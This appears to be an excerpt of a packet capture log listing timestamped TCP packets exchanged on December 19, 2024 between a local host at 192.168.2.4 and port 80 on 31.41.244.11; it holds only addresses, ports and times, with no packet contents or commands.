Dec 19, 2024 06:09:55.183099031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.183887005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.183928013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.183940887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.183958054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.183984995 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.184003115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.184789896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.184837103 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.184842110 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.184859037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.184879065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.184891939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.185694933 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.185730934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.185739994 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.185750008 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.185765028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.185784101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.186554909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.186603069 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.186619043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.186621904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.186638117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.186656952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.199090004 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.199132919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.199136019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.199151039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.199171066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.199186087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.199493885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.199521065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.199536085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.199537039 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.199558020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.199575901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.200334072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.200380087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.357032061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.357079029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.357193947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.357211113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.357234001 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.357250929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.357449055 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.357491970 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.357518911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.357537031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.357558012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.357570887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.358318090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.358354092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.358526945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.358566046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.358582973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.358598948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.358619928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.358634949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.359213114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.359280109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.359296083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.359307051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.359329939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.359359980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.360102892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.360130072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.360146046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.360146046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.360167980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.360193014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.360985994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.361044884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.361129045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.361145020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.361172915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.361187935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.361891031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.361927986 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.361946106 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.361962080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.361984968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.361999035 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.362756968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.362793922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.362831116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.362847090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.362867117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.362880945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.363645077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.363688946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.363699913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.363717079 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.363740921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.363753080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.364526033 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.364566088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.364586115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.364602089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.364622116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.364635944 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.365408897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.365446091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.365477085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.365492105 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.365515947 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.365533113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.366312981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.366348028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.366357088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.366364002 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.366380930 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.366394997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.367197037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.367233992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.367280960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.367297888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.367331028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.367331028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.368088007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.368128061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.368151903 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.368168116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.368190050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.368204117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.368972063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.369015932 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.369018078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.369035006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.369054079 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.369081020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.369852066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.369920015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.369931936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.369936943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.369992018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.369992018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.370773077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.370815992 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.370826006 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.370842934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.370860100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.370872974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.371650934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.371679068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.371695042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.371696949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.371709108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.371727943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.372540951 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.372582912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.372596979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.372612000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.372638941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.372652054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.373435974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.373483896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.373493910 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.373511076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.373547077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.374325991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.374351978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.374365091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.374368906 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.374387026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.374403954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.375221014 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.375247955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.375262976 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.375266075 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.375283003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.375294924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.376199007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.376225948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.376243114 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.376257896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.376275063 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.377151966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.377190113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.377192974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.377207994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.377227068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.377239943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.377875090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.377908945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.378165960 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.378205061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.378242970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.378257990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.378278017 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.378298998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.379090071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.379106045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.379123926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.379128933 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.379142046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.379156113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.379960060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.380021095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.380029917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.380038977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.380057096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.380070925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.380837917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.380877972 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.380894899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.380911112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.380934954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.380948067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.381721973 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.381771088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.381777048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.381788015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.381820917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.381820917 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.382616043 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.382656097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.382669926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.382687092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.382703066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.382725000 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.383523941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.383550882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.383562088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.383568048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.383589029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.383603096 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.384409904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.384453058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.384462118 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.384480000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.384497881 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.384520054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.385287046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.385328054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.385329962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.385346889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.385375977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.385390043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.391046047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.391091108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.391125917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.391165018 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.391258001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.391294956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.391309977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.391333103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.391352892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.391366005 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.392134905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.392201900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.392208099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.392225027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.392242908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.392266989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.549243927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.549323082 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.549325943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.549362898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.549365044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.549406052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.549521923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.549571037 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.549580097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.549621105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.549631119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.549669027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.550390959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.550436020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.550601959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.550642967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.550657988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.550695896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.550708055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.550731897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.551481962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.551528931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.551537037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.551572084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.551583052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.551611900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.552378893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.552489042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.552491903 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.552530050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.552930117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.552975893 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.552985907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.553024054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.553035021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.553069115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.553824902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.553872108 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.553880930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.553915977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.553921938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.553966045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.554689884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.554742098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.554745913 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.554781914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.554786921 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.554825068 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.555583000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.555632114 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.555636883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.555672884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.555676937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.555713892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.556478977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.556528091 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.556533098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.556567907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.556574106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.556607008 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.557379961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.557435036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.557461977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.557470083 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.557475090 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.557533026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.558270931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.558305979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.558325052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.558341980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.558353901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.558386087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.559135914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.559191942 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.559196949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.559226990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.559231997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.559267998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.560041904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.560096979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.560107946 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.560132027 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:55.560151100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.560173988 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:55.560909033 CET	80	49860	31.41.244.11	192.168.2.4
